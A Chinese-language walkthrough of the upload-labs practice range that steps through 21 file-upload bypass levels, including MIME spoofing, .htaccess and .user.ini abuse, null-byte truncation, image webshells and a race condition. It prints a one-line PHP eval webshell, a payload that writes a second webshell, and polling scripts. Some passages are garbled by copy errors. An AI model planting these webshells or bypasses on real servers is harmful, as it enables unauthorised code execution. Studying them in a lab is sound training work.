目录
基础环境
靶场:upload_lads
系统环境:phpstudy2016(有的题目需要不断更换Apache版本)
工具:中国蚁剑,010 Editor,Burp Suite
所需知识:
文件上传漏洞
Web应用程序没有对用户上传的文件进行安全判断或者判断条件不够严谨,导致攻击者将恶意代码文件植入到服务器中从而去执行解析恶意代码。
产生漏洞的主要原因:
1.文件上传限制被绕过
2.开源编辑器的上传漏洞
漏洞利用方式
小马 :对应网站开发语言编写的动态脚本 体积小 功能少
大马:对应网站开发语言编写的动态脚本 体积大 功能多
一句话木马:代码短只有一行 隐蔽性强
文件漏洞三要素:
1.能上传
2.能找到路径
3.可以被解析
通关过程
通用思路
温馨提示:
1.在通关靶场的过程中关闭杀毒软件等,否则上传的php木马文件可能会被干掉。
2.在做完一关后记得点击网页右上角的“清空上传内容”
想办法绕过上传文件的检测机制,将php文件上传到服务器,通过蚁剑进行连接,从而完成入侵
一句话木马:
<?php
@eval($_POST['a']);
?>
1.第一关
我们先来看看源码
这里用的前端校验,也就是JS校验,所以我们只需要把浏览器的JS功能关闭即可
接下来上传我们的一句话木马即可
上传成功后,鼠标右击图片,点击在新标签中打开图像,打开新页面后复制URL,打开中国蚁剑,开始连接
2.第二关
依旧是先看源码
可以看到,这里对MINE-Type进行了限制
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式
那么我们这里就可以采用修改合适的MINE-Type来进行绕过
上传我们的一句话木马,并且用BP抓包,修改Content-Type字段,
剩下的步骤就跟上一关一样了,用蚁剑连接
3.第三关
如果是第一次使用这个靶场,到了第三关这里,需要先修改一下配置文件,跟我一样用最新版小皮面板的就会出现问题了,你会发现网上教的方法不管用,这里建议更换2018版的
同时我分享一位大佬的文章,他简述了这个问题的原因以及解决措施,亲测有用
记录BUG—在uploadlabs第三关中—关于phpstudy中修改httpd.conf依旧无法解析.php3d等问题
先看源码
可以看到,这里面以.php为结尾的文件被拉入了黑名单,这里我们需要修改后缀来绕过检查,例如修改为".php3",".php5"等。
进入下述文件
这里按CTRL+F进行搜索,搜索内容为"addtype "
找到上面图片里的这句话,去掉#号,并且在后面添加内容,使其变为
AddType application/x-httpd-php .php .phtml .php5 .php3
保存既可,接下来我们就可以开始操作了,先上传一句话木马文件,并且用BP抓包,抓到包后将文件后缀改为.php3或者.php5
可以看到上传成功,后续步骤一致
4.第四关
通过源码,我们可以看到前面那些绕过方式不管用了,这里我们介绍一个新的绕过方式,
htaccess文件是Apache服务器中的一个配置文件
作用范围:.htaccess的用途范围主要针对当前目录。
优先级:较高 可覆盖Apache的主要配置文件(httpd-conf)
生效方式:修改后立刻生效
原理大致来说就是修改配置文件,从而让其他后缀的文件可以用php来编译,利用这个来写入我们的木马
这里我们自己写一个.htaccess文件
//用php的方式编译.txt .jpg文件
AddType application/x-httpd-php .txt .jpg
此时我们上传这个文件
可以发现上传成功了,那么接下来我们上传我们的一句话木马文件,用BP抓包,把后缀改为txt或者jpg,后续步骤跟前面一致
5.第五关
这里需要修改php版本!!!我本人用的是5.3.29nts
这一关的源码相较于前一关,黑名单里多了.htaccess文件,因此这一关又需要有其他方式来绕过
.user.ini(用户自定义配置文件)特定于用户或特定目录的配置文件,通常位于Web应用程序的根目录下它用于覆盖或追加全局配置文件(如·php.ini)中的PHP.配置选项
php.ini存储了对整个PHP环境生效的配置选项。它通常位于PHP安装目录中
基本思路跟上一关一样,只需要写一个.user.ini配置文件,上传到服务器,再上传php即可
//当访问php文件的时候,自动包含1.txt的内容
auto_prepend_file=1.txt
上传成功,接下来再写一个1.txt文件,然后上传即可
在蚁剑中输入url时,最后一项不要写1.txt,而是readme.php,这个文件是靶场自带的一个php文件,而你的.user.ini文件中写的就是启动php文件的时候启动1.txt,所以要启动的是readme.php
6.第六关
注意换版本!!!我这关是5.2.17,
可以看到,黑名单中又增加了.ini文件,那么这里我们采用大小写绕过
原理就是我们的Windows系统对大小写并不敏感,而这个检测机制它是区分大小写的,所以我们只需要随机让几个字母大小写互换即可。
我们只需要用BP抓包,随机修改几个字母,例如下面,php改为了Php
7.第七关
可以看到,这关没有了首位去空的检验,那么我们就可以通过空格绕过,只需要用BP抓包,然后在文件名字后面添加一个空格即可
8.第八关
这一关是没有了删除名称后面的.的功能,所以这里利用.来绕过
跟上一关基本一致,只需要在名称后面加一个.即可
9.第九关
这关又把“删除::$DATA”的功能删除了,因此我们利用这个漏洞来渗透
在Windows操作系统中,当你看到文件名后跟着":: D A T A " 时,它表示文件的一个附加数据流 ( A l t e r n a t e D a t a S t r e a m , A D S ) 。数据流是 − − 种用于在文件内部存储额外数据的机制在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是 W i n d o w s N T 文件系统 ( N T F S ) 支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加 " … DATA"时,它表示文件的一个附加数据流(Alternate DataStream,ADS)。数据流是--种用于在文件内部存储额外数据的机制 在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是Windows NT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加"… DATA"时,它表示文件的一个附加数据流(AlternateDataStream,ADS)。数据流是−−种用于在文件内部存储额外数据的机制在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是WindowsNT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加"…DATA"来访问
原理:Windows系统下,如果上传的文件名中test.php::$DATA会在服务器上生成-个test.php的文件,其中内容和所上传文件内容相同,并被解。
因此,我们只需要用BP抓包,在名称后面添加一个::$DATA
注意在蚁剑中要删除::$DATA
10.第十关
这一关防御功能相对来说比较完善了,因此我们需要换一个思路,拼接路径
在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。
只需要用BP抓包,在文件名称后面加入. .(点空格点)即可
11.第十一关
这一关的源码,利用了str_ireplace()函数,把文件名称进行扫描,只要出现黑名单中的内容,就替换为空,但是它只会检测一次,所以我们这里用双写绕过即可
只需要用BP抓包,把文件后缀.php改为.pphphp
12.第十二关
可以看到,这里是白名单,不再是黑名单了,这里我们需要用空字符绕过即00绕过(GET版)
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
前提:
1.php版本小于5.3.29
2.php.ini中的magic_quotes_gpc =Off
用BP抓包后,这里有两处需要修改,一处是最上面的URL结尾需要加入你的文件名称+%00,比如我这里就是demo.php%00,另外一处就是将文件的后缀改为白名单中的样式
这里需要把你文件名称百分号后面的内容删除
13.第十三关
这里我们还是用00认证(POST)版
用bp抓包,在/upload/字段后面跟上文件名字(可以随便起),然后输入空格,选中空格,在右侧,将HEX值改为00,再将文件名字改成白名单的格式
同样,在蚁剑中删除百分号后面的内容
14.第十四关
这一关的画风很不一样,源码中会读取上传文件的前两个字节,
这里有个小知识
因此可以看出,这里是通过文件格式头来判断文件内容的,因此我们只需要将我们的一句话木马的头改为对应内容即可,这里我们用到010 Editor(当然这里方法有很多种,不一定非要使用工具,只是我个人认为这个工具好用)
用010 Editor打开demo.php并且用十六进制编辑,这时候就可以在文件最前面随便输入两个字符,方便修改。
将这里的61改为89,50或者其他图片格式的均可
保存后就可以注入了,不过这里用到的是文件包含漏洞,想了解的可以看看下面大佬总结的,这个知识点对这个靶场没有什么太大的左右,知道怎么使用就行
文件包含漏洞全面详解
这里直接上传,获取图片的url即可
然后单机文件包含漏洞的连接,在导航栏中输入
?file=upload/+文件名称
页面没有报错,那么就可以用这个url,通过蚁剑连接即可
15.第十五关
这里他用了getimagesize()函数来判断是否为图片,那么我们这里只能使用图片马来进行植入
这里我们需要准备一张图片,还是利用010 Editor,把一句话木马以十六进制写入图片里,再上传图片,来实现注入
这里我们打开010 Editor,把一句话木马植入到最下面
完成后直接上传做好的图片,剩余步骤与前一关相同
文件上传漏洞中出现这个界面就是成功了
16.第十六关
这里我们先打开php_exif模块
这里用到了exif_imagetype()函数,其实他的作用与第十五关的的功能大致相同,因此我们可以按照十五关的方式再来一遍
17.第十七关
这一关重新渲染了图片,虽然肉眼看上去差别不大,但是用010 Editor可以知道,它除了头部和尾部是一样的,其余的基本上完全不一样,这里我们有没有办法呢?当然有的
我们需要一张gif文件
原理其实跟图片马一样,只不过我们需要在图片中找到合适的位置去写入我们的一句话木马
这里我们先提交一下gif图片,再在upload-labs的根目录下的uploda文件夹中找到已经经过二次渲染的文件,
打开010Editor,在上放导航栏中找到工具->比较,将变化前后的两个动图进行比较
在这里可以看到,gif图片有的部分是相同的,有的部分是不同的,我们要做的是在相同的位置植入我们的一句话木马。
剩余步骤与前面的一样
18.第十八关
从代码上看,我们依然可以使用图片马来注入,但是这里没有文件包含漏洞,我们无法将通过这种方式来执行,只能通过php文件,但是这里防御措施做的,我们已知的办法没法解决这个问题。
那么这里就要提出一个新的方式了
条件竞争:
原理如下:
所以思路很明显了,我们需要利用BP工具不断上传php文件,然后再通过Python脚本不断访问,直到访问成功
这个操作具有偶然性,毕竟是概率事件,所以经常会出现没有达到目的的那种,所以我们需要反复尝试,这里我们提供给一个Python脚本,会省事不少。
这里我们植入的php木马换一下
<?php fputs(fopen('demo2.php','w'),'<?php @eval($_POST["a"])?>');?>
//只要获取到内容,就会生成demo2.php文件
1.发送PHP代码,并且用BP抓包
直接发送到Intruder模块进行暴力重发
发送过来后直接点击右侧清除(clean),然后点击上方的Payloads,按照如下设置
2.打开并且运行Python脚本
//脚本,记得修改ip和文件名
import requests
url = "http://x.x.x.x/upload-labs/upload/demo.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("NO")
运行完脚本后再运行BP,直到显示OK为止。
这里显示已经获取到了,我们直接用蚁剑连接生成的demo2.php文件
可以看到成功了
19.第十九关
这一关跟上一关差不多,只不过上一关是上床PHP文件,这一关要求是图片白名单,所以我们依旧是采用图片马的形式,
<?php fputs(fopen('demo2.php','w'),'<?php @eval($_POST["a"])?>');?>
//只要获取到内容,就会生成demo2.php文件
//脚本
//这里做了些许改变,将url地址
import requests
url = "http://x.x.x.x/upload-labs/include.php?file=upload/1.png"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("NO")
1.首先将上面的php代码通过010editor生成一个图片马
再利用BP抓包,剩余的步骤与上一关一致,这里就不多说了
20.第二十关
第二十关更像是一个总结关卡,可以通过很多方式去绕过,比如%00截断,或者是直接再php后面加.等方式,总的来说方法很多而且结合前面的内容很好做出来,这里就不多说了
21.第二十一关
第二十一关这里
首先可以看到的是,他对content type字段进行了过滤,我们这里只需要用BP抓包修改即可
接下里的是对传入的保存名称的过滤,如果传入的内容是数组,那他不会进行检查,同时把数组中的第一个元素和最后一个元素通过点拼接成一个完整的文件名。
如果传入的内容不是数组,他会以点为分割,把名字和后缀分开,形成一个数组,数组中的第一个元素为文件名字,第二个元素为后缀名,再接着,它会对你数组中最后一个元素(也就是第二个元素后缀名)进行判断,如果不符合白名单上的内容,那就直接禁止了,如果允许,他会让数组中的第一个元素与最后一个元素通过点来结合,形成一个完整的文件名。
这里我们怎么解决呢?
一切的根源都是保存的名称是不是数组,所以我们只需要伪造一个数组
开始行动
首先,我们先上传一个一句话木马文件,然后用BP抓包
我们首先绕过第一个content type的内容,这个之前说过,这里就不多说了。
此时我们就得考虑考虑如何构造一个数组了
这里组合,用的是reset($file) 和 f i l e [ c o u n t ( file[count( file[count(file) - 1],什么意思呢,就是说用的是第一个元素,和第(数组总个数-1)的元素,第一个元素不好造假,那么我们从第(数组总个数-1)的元素入手,我们可在数组中间创造空值,来使数组的总个数和数组总个数-1的元素出现差值,例如:
//创建一个数组:
$file[0]="1.php";
$file[2]="png";
那么此时数组总数是2,那么
f
i
l
e
[
c
o
u
n
t
(
file[count(
file[count(file) - 1]就等于file[1],而file[1]我并没有赋值,为NULL,那么此时拼接起来的数组就是"1.php",我们这就绕过了验证
所以在BP中,我们只需要将下面的图一改为图二即可绕过验证
此时文件上传成功,用蚁剑连接upload-20.php文件即可